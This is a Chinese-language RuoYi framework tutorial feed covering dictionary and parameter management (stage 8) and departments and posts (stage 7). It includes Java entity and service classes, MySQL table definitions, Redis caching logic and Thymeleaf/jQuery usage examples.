[!TIP] 下一步：阶段十：定时任务

在阶段十中，我们将学习 Quartz 定时任务的使用，包括任务配置、Cron 表达式和任务调度。

RuoYi 阶段八：字典与参数管理

Mon, 07 Sep 2026 10:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段八，聚焦系统配置管理。学完本篇你应该能：

理解字典与参数的区别和用途

掌握字典缓存的实现机制

知道如何在前端使用字典数据

前端视角：字典管理像什么？

RuoYi 字典	前端类比
`SysDictType` 字典类型	枚举类型定义 (enum)
`SysDictData` 字典数据	枚举值列表
参数配置	系统设置项
字典缓存	localStorage / Vuex
字典标签	Select 下拉选项

字典 vs 参数

特性	字典 (Dict)	参数 (Config)
用途	枚举值翻译（如性别、状态）	系统配置项（如密码策略）
结构	一对多（类型 → 数据列表）	键值对
示例	sys_user_sex → [男, 女, 未知]	sys.account.registerUser → true
前端使用	下拉框、标签翻译	系统设置页面

字典类型实体类

// src/main/java/com/ruoyi/system/domain/SysDictType.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 字典类型表 sys_dict_type
 * 
 * @author ruoyi
 */
public class SysDictType extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 字典主键 */
    @Excel(name = "字典主键", cellType = ColumnType.NUMERIC)
    private Long dictId;

    /** 字典名称 */
    @Excel(name = "字典名称")
    private String dictName;

    /** 字典类型 */
    @Excel(name = "字典类型")
    private String dictType;

    /** 状态（0正常 1停用） */
    @Excel(name = "状态", readConverterExp = "0=正常,1=停用")
    private String status;

    public Long getDictId() {
        return dictId;
    }

    public void setDictId(Long dictId) {
        this.dictId = dictId;
    }

    @NotBlank(message = "字典名称不能为空")
    @Size(min = 0, max = 100, message = "字典类型名称长度不能超过100个字符")
    public String getDictName() {
        return dictName;
    }

    public void setDictName(String dictName) {
        this.dictName = dictName;
    }

    @NotBlank(message = "字典类型不能为空")
    @Size(min = 0, max = 100, message = "字典类型长度不能超过100个字符")
    public String getDictType() {
        return dictType;
    }

    public void setDictType(String dictType) {
        this.dictType = StringUtils.isEmpty(dictType) ? "" : dictType.trim();
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("dictId", getDictId())
            .append("dictName", getDictName())
            .append("dictType", getDictType())
            .append("status", getStatus())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

字典数据实体类

// src/main/java/com/ruoyi/system/domain/SysDictData.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 字典数据表 sys_dict_data
 * 
 * @author ruoyi
 */
public class SysDictData extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 字典编码 */
    @Excel(name = "字典编码", cellType = ColumnType.NUMERIC)
    private Long dictCode;

    /** 字典排序 */
    @Excel(name = "字典排序", cellType = ColumnType.NUMERIC)
    private Long dictSort;

    /** 字典标签 */
    @Excel(name = "字典标签")
    private String dictLabel;

    /** 字典键值 */
    @Excel(name = "字典键值")
    private String dictValue;

    /** 字典类型 */
    @Excel(name = "字典类型")
    private String dictType;

    /** 样式属性（其他样式扩展） */
    private String cssClass;

    /** 表格字典样式 */
    private String listClass;

    /** 是否默认（Y是 N否） */
    @Excel(name = "是否默认", readConverterExp = "Y=是,N=否")
    private String isDefault;

    /** 状态（0正常 1停用） */
    @Excel(name = "状态", readConverterExp = "0=正常,1=停用")
    private String status;

    public Long getDictCode() {
        return dictCode;
    }

    public void setDictCode(Long dictCode) {
        this.dictCode = dictCode;
    }

    public Long getDictSort() {
        return dictSort;
    }

    public void setDictSort(Long dictSort) {
        this.dictSort = dictSort;
    }

    @NotBlank(message = "字典标签不能为空")
    @Size(min = 0, max = 100, message = "字典标签长度不能超过100个字符")
    public String getDictLabel() {
        return dictLabel;
    }

    public void setDictLabel(String dictLabel) {
        this.dictLabel = dictLabel;
    }

    @NotBlank(message = "字典键值不能为空")
    @Size(min = 0, max = 100, message = "字典键值长度不能超过100个字符")
    public String getDictValue() {
        return dictValue;
    }

    public void setDictValue(String dictValue) {
        this.dictValue = dictValue;
    }

    @NotBlank(message = "字典类型不能为空")
    @Size(min = 0, max = 100, message = "字典类型长度不能超过100个字符")
    public String getDictType() {
        return dictType;
    }

    public void setDictType(String dictType) {
        this.dictType = dictType;
    }

    @Size(min = 0, max = 100, message = "样式属性长度不能超过100个字符")
    public String getCssClass() {
        return cssClass;
    }

    public void setCssClass(String cssClass) {
        this.cssClass = cssClass;
    }

    public String getListClass() {
        return listClass;
    }

    public void setListClass(String listClass) {
        this.listClass = listClass;
    }

    public String getIsDefault() {
        return isDefault;
    }

    public void setIsDefault(String isDefault) {
        this.isDefault = isDefault;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("dictCode", getDictCode())
            .append("dictSort", getDictSort())
            .append("dictLabel", getDictLabel())
            .append("dictValue", getDictValue())
            .append("dictType", getDictType())
            .append("cssClass", getCssClass())
            .append("listClass", getListClass())
            .append("isDefault", getIsDefault())
            .append("status", getStatus())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

参数配置实体类

// src/main/java/com/ruoyi/system/domain/SysConfig.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 参数配置表 sys_config
 * 
 * @author ruoyi
 */
public class SysConfig extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 参数主键 */
    @Excel(name = "参数主键", cellType = ColumnType.NUMERIC)
    private Long configId;

    /** 参数名称 */
    @Excel(name = "参数名称")
    private String configName;

    /** 参数键名 */
    @Excel(name = "参数键名")
    private String configKey;

    /** 参数键值 */
    @Excel(name = "参数键值")
    private String configValue;

    /** 系统内置（Y是 N否） */
    @Excel(name = "系统内置", readConverterExp = "Y=是,N=否")
    private String configType;

    public Long getConfigId() {
        return configId;
    }

    public void setConfigId(Long configId) {
        this.configId = configId;
    }

    @NotBlank(message = "参数名称不能为空")
    @Size(min = 0, max = 100, message = "参数名称不能超过100个字符")
    public String getConfigName() {
        return configName;
    }

    public void setConfigName(String configName) {
        this.configName = configName;
    }

    @NotBlank(message = "参数键名不能为空")
    @Size(min = 0, max = 100, message = "参数键名长度不能超过100个字符")
    public String getConfigKey() {
        return configKey;
    }

    public void setConfigKey(String configKey) {
        this.configKey = configKey;
    }

    @NotBlank(message = "参数键值不能为空")
    @Size(min = 0, max = 500, message = "参数键值长度不能超过500个字符")
    public String getConfigValue() {
        return configValue;
    }

    public void setConfigValue(String configValue) {
        this.configValue = configValue;
    }

    public String getConfigType() {
        return configType;
    }

    public void setConfigType(String configType) {
        this.configType = configType;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("configId", getConfigId())
            .append("configName", getConfigName())
            .append("configKey", getConfigKey())
            .append("configValue", getConfigValue())
            .append("configType", getConfigType())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

数据库表结构

字典类型表

CREATE TABLE sys_dict_type (
  dict_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '字典主键',
  dict_name         VARCHAR(100)    DEFAULT ''                 COMMENT '字典名称',
  dict_type         VARCHAR(100)    DEFAULT ''                 COMMENT '字典类型',
  status            CHAR(1)         DEFAULT '0'                COMMENT '状态（0正常 1停用）',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT '备注',
  PRIMARY KEY (dict_id),
  UNIQUE (dict_type)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '字典类型表';

字典数据表

CREATE TABLE sys_dict_data (
  dict_code         BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '字典编码',
  dict_sort         INT(4)          DEFAULT 0                  COMMENT '字典排序',
  dict_label        VARCHAR(100)    DEFAULT ''                 COMMENT '字典标签',
  dict_value        VARCHAR(100)    DEFAULT ''                 COMMENT '字典键值',
  dict_type         VARCHAR(100)    DEFAULT ''                 COMMENT '字典类型',
  css_class         VARCHAR(100)    DEFAULT NULL               COMMENT '样式属性',
  list_class        VARCHAR(100)    DEFAULT NULL               COMMENT '表格回显样式',
  is_default        CHAR(1)         DEFAULT 'N'                COMMENT '是否默认（Y是 N否）',
  status            CHAR(1)         DEFAULT '0'                COMMENT '状态（0正常 1停用）',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT '备注',
  PRIMARY KEY (dict_code)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '字典数据表';

参数配置表

CREATE TABLE sys_config (
  config_id         BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '参数主键',
  config_name       VARCHAR(100)    DEFAULT ''                 COMMENT '参数名称',
  config_key        VARCHAR(100)    DEFAULT ''                 COMMENT '参数键名',
  config_value      VARCHAR(500)    DEFAULT ''                 COMMENT '参数键值',
  config_type       CHAR(1)         DEFAULT 'N'                COMMENT '系统内置（Y是 N否）',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT '备注',
  PRIMARY KEY (config_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '参数配置表';

字典缓存机制

RuoYi 使用 Redis 缓存字典数据，提高查询性能：

字典 Service 实现

// src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.entity.SysDictData;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.DictUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysDictType;
import com.ruoyi.system.mapper.SysDictDataMapper;
import com.ruoyi.system.mapper.SysDictTypeMapper;
import com.ruoyi.system.service.ISysDictTypeService;

/**
 * 字典 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysDictTypeServiceImpl implements ISysDictTypeService {
    @Autowired
    private SysDictTypeMapper dictTypeMapper;

    @Autowired
    private SysDictDataMapper dictDataMapper;

    /**
     * 项目启动时，初始化字典 主要是防止手动修改数据库导致未同步到定时任务处理
     */
    @PostConstruct
    public void init() {
        loadingDictCache();
    }

    /**
     * 加载字典缓存
     */
    public void loadingDictCache() {
        List<SysDictType> dictTypeList = dictTypeMapper.selectDictTypeAll();
        for (SysDictType dictType : dictTypeList) {
            List<SysDictData> dictDatas = dictDataMapper.selectDictDataByType(dictType.getDictType());
            DictUtils.setDictCache(dictType.getDictType(), dictDatas);
        }
    }

    /**
     * 清空字典缓存
     */
    public void clearDictCache() {
        DictUtils.clearDictCache();
    }

    /**
     * 根据字典类型查询字典数据
     */
    @Override
    public List<SysDictData> selectDictDataByType(String dictType) {
        List<SysDictData> dictDatas = DictUtils.getDictCache(dictType);
        if (StringUtils.isNull(dictDatas)) {
            dictDatas = dictDataMapper.selectDictDataByType(dictType);
            DictUtils.setDictCache(dictType, dictDatas);
        }
        return dictDatas;
    }

    /**
     * 新增保存字典类型信息
     */
    @Override
    public int insertDictType(SysDictType dictType) {
        int row = dictTypeMapper.insertDictType(dictType);
        if (row > 0) {
            DictUtils.setDictCache(dictType.getDictType(), null);
        }
        return row;
    }

    /**
     * 修改保存字典类型信息
     */
    @Override
    @Transactional
    public int updateDictType(SysDictType dictType) {
        SysDictType oldDict = dictTypeMapper.selectDictTypeById(dictType.getDictId());
        List<SysDictData> dictDatas = dictDataMapper.selectDictDataByType(oldDict.getDictType());
        // 删除旧字典缓存
        DictUtils.removeDictCache(oldDict.getDictType());
        // 更新字典类型
        int row = dictTypeMapper.updateDictType(dictType);
        if (row > 0) {
            // 更新字典数据中的字典类型
            for (SysDictData dictData : dictDatas) {
                dictData.setDictType(dictType.getDictType());
            }
            dictDataMapper.updateDictDataType(dictDatas);
            // 设置新字典缓存
            DictUtils.setDictCache(dictType.getDictType(), dictDatas);
        }
        return row;
    }

    /**
     * 批量删除字典类型信息
     */
    @Override
    public int deleteDictTypeByIds(String ids) {
        Long[] dictIds = Convert.toLongArray(ids);
        for (Long dictId : dictIds) {
            SysDictType dictType = selectDictTypeById(dictId);
            if (dictDataMapper.countDictDataByType(dictType.getDictType()) > 0) {
                throw new ServiceException(String.format("%1$s已分配,不能删除", dictType.getDictName()));
            }
            // 清空字典缓存
            DictUtils.removeDictCache(dictType.getDictType());
        }
        return dictTypeMapper.deleteDictTypeByIds(dictIds);
    }

    /**
     * 校验字典类型称是否唯一
     */
    @Override
    public String checkDictTypeUnique(SysDictType dictType) {
        Long dictId = StringUtils.isNull(dictType.getDictId()) ? -1L : dictType.getDictId();
        SysDictType dictTypeUnique = dictTypeMapper.checkDictTypeUnique(dictType.getDictType());
        if (StringUtils.isNotNull(dictTypeUnique) && dictTypeUnique.getDictId().longValue() != dictId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }
}

字典工具类

// src/main/java/com/ruoyi/common/utils/DictUtils.java
package com.ruoyi.common.utils;

import java.util.List;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.entity.SysDictData;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.service.ISysDictDataService;

/**
 * 字典工具类
 * 
 * @author ruoyi
 */
public class DictUtils {
    /**
     * 设置字典缓存
     */
    public static void setDictCache(String key, List<SysDictData> dictDatas) {
        SpringUtils.getBean(RedisCache.class).setCacheObject(getCacheKey(key), dictDatas);
    }

    /**
     * 获取字典缓存
     */
    public static List<SysDictData> getDictCache(String key) {
        Object cacheObj = SpringUtils.getBean(RedisCache.class).getCacheObject(getCacheKey(key));
        if (StringUtils.isNotNull(cacheObj)) {
            return (List<SysDictData>) cacheObj;
        }
        return null;
    }

    /**
     * 删除字典缓存
     */
    public static void removeDictCache(String key) {
        SpringUtils.getBean(RedisCache.class).deleteObject(getCacheKey(key));
    }

    /**
     * 清空字典缓存
     */
    public static void clearDictCache() {
        SpringUtils.getBean(RedisCache.class).deleteKeys(Constants.SYS_DICT_KEY + "*");
    }

    /**
     * 获取cache key
     */
    public static String getCacheKey(String key) {
        return Constants.SYS_DICT_KEY + key;
    }
}

参数配置 Service

// src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.CacheUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysConfig;
import com.ruoyi.system.mapper.SysConfigMapper;
import com.ruoyi.system.service.ISysConfigService;

/**
 * 参数配置 服务层实现
 * 
 * @author ruoyi
 */
@Service
public class SysConfigServiceImpl implements ISysConfigService {
    @Autowired
    private SysConfigMapper configMapper;

    /**
     * 项目启动时，初始化参数 主要是防止手动修改数据库导致未同步到定时任务处理
     */
    @PostConstruct
    public void init() {
        loadingConfigCache();
    }

    /**
     * 加载参数缓存数据
     */
    public void loadingConfigCache() {
        List<SysConfig> configsList = configMapper.selectConfigList(new SysConfig());
        for (SysConfig config : configsList) {
            CacheUtils.put(getCacheName(), config.getConfigKey(), config.getConfigValue());
        }
    }

    /**
     * 清空参数缓存数据
     */
    public void clearConfigCache() {
        CacheUtils.clear(getCacheName());
    }

    /**
     * 查询参数配置信息
     */
    @Override
    public SysConfig selectConfigById(Long configId) {
        SysConfig config = new SysConfig();
        config.setConfigId(configId);
        return configMapper.selectConfig(config);
    }

    /**
     * 根据键名查询参数配置信息
     */
    @Override
    public String selectConfigByKey(String configKey) {
        String configValue = Convert.toStr(CacheUtils.get(getCacheName(), configKey));
        if (StringUtils.isNotEmpty(configValue)) {
            return configValue;
        }
        SysConfig config = new SysConfig();
        config.setConfigKey(configKey);
        SysConfig retConfig = configMapper.selectConfig(config);
        if (StringUtils.isNotNull(retConfig)) {
            CacheUtils.put(getCacheName(), configKey, retConfig.getConfigValue());
            return retConfig.getConfigValue();
        }
        return StringUtils.EMPTY;
    }

    /**
     * 新增参数配置
     */
    @Override
    public int insertConfig(SysConfig config) {
        int row = configMapper.insertConfig(config);
        if (row > 0) {
            CacheUtils.put(getCacheName(), config.getConfigKey(), config.getConfigValue());
        }
        return row;
    }

    /**
     * 修改参数配置
     */
    @Override
    public int updateConfig(SysConfig config) {
        int row = configMapper.updateConfig(config);
        if (row > 0) {
            CacheUtils.put(getCacheName(), config.getConfigKey(), config.getConfigValue());
        }
        return row;
    }

    /**
     * 批量删除参数配置信息
     */
    @Override
    public int deleteConfigByIds(String ids) {
        Long[] configIds = Convert.toLongArray(ids);
        for (Long configId : configIds) {
            SysConfig config = selectConfigById(configId);
            if (UserConstants.YES.equals(config.getConfigType())) {
                throw new ServiceException("内置参数【" + config.getConfigName() + "】不能删除 ");
            }
            configMapper.deleteConfigById(configId);
            CacheUtils.remove(getCacheName(), config.getConfigKey());
        }
        return configIds.length;
    }

    /**
     * 获取cache name
     */
    @Override
    public String getCacheName() {
        return UserConstants.SYS_CONFIG_KEY;
    }
}

前端使用字典

方式一：Thymeleaf 模板

<!-- 使用字典标签翻译 -->
<span th:text="${@dict.getLabel('sys_user_sex', user.sex)}">未知</span>

<!-- 使用字典数据构建下拉框 -->
<select th:field="*{sex}">
    <option th:each="dict : ${@dict.getType('sys_user_sex')}" 
            th:value="${dict.dictValue}" 
            th:text="${dict.dictLabel}"></option>
</select>

方式二：JavaScript

// 获取字典数据
$.getDict("sys_user_sex", function(data) {
    // data 是字典数据列表
    $.each(data, function(i, dict) {
        $("#sexSelect").append(
            '<option value="' + dict.dictValue + '">' + dict.dictLabel + '</option>'
        );
    });
});

// 翻译字典值
var sexLabel = $.getDictLabel("sys_user_sex", "0");  // 返回 "男"

常用字典类型

字典类型	说明	示例值
`sys_user_sex`	用户性别	0=男, 1=女, 2=未知
`sys_normal_disable`	系统开关	0=正常, 1=停用
`sys_show_hide`	显示状态	0=显示, 1=隐藏
`sys_yes_no`	是否	Y=是, N=否
`sys_job_status`	任务状态	0=正常, 1=暂停
`sys_job_group`	任务分组	DEFAULT=默认, SYSTEM=系统
`sys_oper_type`	操作类型	0=其它, 1=新增, 2=修改, 3=删除
`sys_common_status`	登录状态	0=成功, 1=失败

复习卡片

// 字典管理核心流程
// 1. 初始化加载字典缓存
@PostConstruct
public void init() {
    loadingDictCache();
}

// 2. 查询字典数据（优先从缓存获取）
List<SysDictData> dictDatas = DictUtils.getDictCache(dictType);
if (StringUtils.isNull(dictDatas)) {
    dictDatas = dictDataMapper.selectDictDataByType(dictType);
    DictUtils.setDictCache(dictType, dictDatas);
}

// 3. 参数配置缓存
CacheUtils.put(getCacheName(), configKey, configValue);
String value = CacheUtils.get(getCacheName(), configKey);

// 4. 前端使用字典
${@dict.getLabel('sys_user_sex', user.sex)}
${@dict.getType('sys_user_sex')}

类名	职责
`SysDictType`	字典类型实体
`SysDictData`	字典数据实体
`SysConfig`	参数配置实体
`DictUtils`	字典缓存工具类
`CacheUtils`	通用缓存工具类
`ISysDictTypeService`	字典类型服务
`ISysConfigService`	参数配置服务

缓存策略	说明
启动加载	@PostConstruct 初始化时加载
查询缓存	优先从缓存获取，未命中则查询数据库
更新缓存	新增/修改/删除时同步更新缓存
清空缓存	可手动刷新字典缓存

[!TIP] 下一步：阶段九：日志管理

在阶段九中，我们将学习操作日志和登录日志的实现，包括 AOP 切面编程的应用。

RuoYi 阶段七：部门与岗位管理

Mon, 07 Sep 2026 09:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段七，聚焦组织架构管理。学完本篇你应该能：

理解部门树的递归构建方法

掌握岗位与用户的关联关系

知道数据权限在部门中的应用

前端视角：组织架构像什么？

RuoYi 组织架构	前端类比
`SysDept` 部门	组织树组件 (TreeSelect)
`SysPost` 岗位	职位标签 / 角色配置
部门树	级联选择器 (Cascader)
用户关联部门	用户信息中的部门字段
数据权限	根据部门过滤数据

组织架构关系

        ┌─────────┐
        │  部门   │
        └────┬────┘
             │
    ┌────────┼────────┐
    │        │        │
┌───▼───┐ ┌─▼───┐ ┌─▼───┐
│ 岗位  │ │ 用户 │ │子部门│
└───────┘ └─────┘ └─────┘

部门实体类 (SysDept)

// src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java
package com.ruoyi.common.core.domain.entity;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 部门表 sys_dept
 * 
 * @author ruoyi
 */
public class SysDept extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 部门ID */
    private Long deptId;

    /** 父部门ID */
    private Long parentId;

    /** 祖级列表 */
    private String ancestors;

    /** 部门名称 */
    private String deptName;

    /** 显示顺序 */
    private Integer orderNum;

    /** 负责人 */
    private String leader;

    /** 联系电话 */
    private String phone;

    /** 邮箱 */
    private String email;

    /** 部门状态（0正常 1停用） */
    private String status;

    /** 删除标志（0代表存在 2代表删除） */
    private String delFlag;

    /** 父部门名称 */
    private String parentName;

    public Long getDeptId() {
        return deptId;
    }

    public void setDeptId(Long deptId) {
        this.deptId = deptId;
    }

    public Long getParentId() {
        return parentId;
    }

    public void setParentId(Long parentId) {
        this.parentId = parentId;
    }

    public String getAncestors() {
        return ancestors;
    }

    public void setAncestors(String ancestors) {
        this.ancestors = ancestors;
    }

    @NotBlank(message = "部门名称不能为空")
    @Size(min = 0, max = 30, message = "部门名称长度不能超过30个字符")
    public String getDeptName() {
        return deptName;
    }

    public void setDeptName(String deptName) {
        this.deptName = deptName;
    }

    @NotNull(message = "显示顺序不能为空")
    public Integer getOrderNum() {
        return orderNum;
    }

    public void setOrderNum(Integer orderNum) {
        this.orderNum = orderNum;
    }

    public String getLeader() {
        return leader;
    }

    public void setLeader(String leader) {
        this.leader = leader;
    }

    @Size(min = 0, max = 11, message = "联系电话长度不能超过11个字符")
    public String getPhone() {
        return phone;
    }

    public void setPhone(String phone) {
        this.phone = phone;
    }

    @Email(message = "邮箱格式不正确")
    @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符")
    public String getEmail() {
        return email;
    }

    public void setEmail(String email) {
        this.email = email;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    public String getDelFlag() {
        return delFlag;
    }

    public void setDelFlag(String delFlag) {
        this.delFlag = delFlag;
    }

    public String getParentName() {
        return parentName;
    }

    public void setParentName(String parentName) {
        this.parentName = parentName;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("deptId", getDeptId())
            .append("parentId", getParentId())
            .append("deptName", getDeptName())
            .append("orderNum", getOrderNum())
            .append("leader", getLeader())
            .append("phone", getPhone())
            .append("email", getEmail())
            .append("status", getStatus())
            .append("delFlag", getDelFlag())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .toString();
    }
}

祖级列表 (Ancestors)

ancestors 字段用于快速查询某个部门的所有下级部门：

部门层级：总公司 → 研发中心 → 前端组
ancestors：0,100,101

含义：该部门的所有父级ID，用逗号分隔

查询所有下级部门

-- 查询研发中心（dept_id=101）的所有下级部门
SELECT * FROM sys_dept 
WHERE find_in_set(101, ancestors)

岗位实体类 (SysPost)

// src/main/java/com/ruoyi/system/domain/SysPost.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 岗位表 sys_post
 * 
 * @author ruoyi
 */
public class SysPost extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 岗位序号 */
    @Excel(name = "岗位序号", cellType = ColumnType.NUMERIC)
    private Long postId;

    /** 岗位编码 */
    @Excel(name = "岗位编码")
    private String postCode;

    /** 岗位名称 */
    @Excel(name = "岗位名称")
    private String postName;

    /** 岗位排序 */
    @Excel(name = "岗位排序", cellType = ColumnType.NUMERIC)
    private Integer postSort;

    /** 状态（0正常 1停用） */
    @Excel(name = "状态", readConverterExp = "0=正常,1=停用")
    private String status;

    /** 用户是否存在此岗位标识 */
    private boolean flag = false;

    public Long getPostId() {
        return postId;
    }

    public void setPostId(Long postId) {
        this.postId = postId;
    }

    @NotBlank(message = "岗位编码不能为空")
    @Size(min = 0, max = 64, message = "岗位编码长度不能超过64个字符")
    public String getPostCode() {
        return postCode;
    }

    public void setPostCode(String postCode) {
        this.postCode = postCode;
    }

    @NotBlank(message = "岗位名称不能为空")
    @Size(min = 0, max = 50, message = "岗位名称长度不能超过50个字符")
    public String getPostName() {
        return postName;
    }

    public void setPostName(String postName) {
        this.postName = postName;
    }

    @NotNull(message = "显示顺序不能为空")
    public Integer getPostSort() {
        return postSort;
    }

    public void setPostSort(Integer postSort) {
        this.postSort = postSort;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    public boolean isFlag() {
        return flag;
    }

    public void setFlag(boolean flag) {
        this.flag = flag;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("postId", getPostId())
            .append("postCode", getPostCode())
            .append("postName", getPostName())
            .append("postSort", getPostSort())
            .append("status", getStatus())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

数据库表结构

部门表

CREATE TABLE sys_dept (
  dept_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '部门id',
  parent_id         BIGINT(20)      DEFAULT 0                  COMMENT '父部门id',
  ancestors         VARCHAR(50)     DEFAULT ''                 COMMENT '祖级列表',
  dept_name         VARCHAR(30)     DEFAULT ''                 COMMENT '部门名称',
  order_num         INT(4)          DEFAULT 0                  COMMENT '显示顺序',
  leader            VARCHAR(20)     DEFAULT NULL               COMMENT '负责人',
  phone             VARCHAR(11)     DEFAULT NULL               COMMENT '联系电话',
  email             VARCHAR(50)     DEFAULT NULL               COMMENT '邮箱',
  status            CHAR(1)         DEFAULT '0'                COMMENT '部门状态（0正常 1停用）',
  del_flag          CHAR(1)         DEFAULT '0'                COMMENT '删除标志',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  PRIMARY KEY (dept_id)
) ENGINE=InnoDB AUTO_INCREMENT=200 COMMENT = '部门表';

岗位表

CREATE TABLE sys_post (
  post_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '岗位ID',
  post_code         VARCHAR(64)     NOT NULL                   COMMENT '岗位编码',
  post_name         VARCHAR(50)     NOT NULL                   COMMENT '岗位名称',
  post_sort         INT(4)          NOT NULL                   COMMENT '显示顺序',
  status            CHAR(1)         NOT NULL                   COMMENT '状态（0正常 1停用）',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT '备注',
  PRIMARY KEY (post_id)
) ENGINE=InnoDB AUTO_INCREMENT=10 COMMENT = '岗位信息表';

